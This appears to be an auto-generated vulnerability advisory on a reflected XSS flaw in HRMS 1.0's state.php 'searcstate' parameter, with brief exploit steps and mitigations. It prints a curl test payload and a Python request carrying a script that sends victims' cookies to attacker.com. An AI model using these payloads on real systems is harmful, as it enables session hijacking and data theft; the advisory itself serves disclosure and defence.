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How the CVE Works
CVE-2025-40685 is a reflected XSS vulnerability in Human Resource Management System (HRMS) version 1.0. The flaw exists in the `state.php` file, specifically within the `searcstate` parameter. An attacker can craft a malicious URL containing JavaScript payloads, which, when clicked by a victim, executes the script in their browser context. This occurs due to improper input sanitization, allowing arbitrary script injection. The attack requires user interaction (clicking the link) and leverages low-privilege access, making it a medium-severity issue.
DailyCVE Form
Platform: HRMS
Version: 1.0
Vulnerability: Reflected XSS
Severity: Medium
Date: 08/04/2025
Prediction: Patch expected by 09/15/2025
What Undercode Say
Analytics:
curl -X GET "http://example.com/state.php?searcstate=<script>alert('XSS')</script>"
import requests
payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>"
requests.get(f"http://vulnerable-hrms/state.php?searcstate={payload}")
Exploit:
- Craft malicious URL with JavaScript payload.
- Social-engineer victim to click the link.
- Steal session cookies or redirect users.
Protection from this CVE:
- Sanitize `searcstate` input.
- Implement Content Security Policy (CSP).
- Use output encoding.
Impact:
- Session hijacking.
- Unauthorized actions.
- Data theft.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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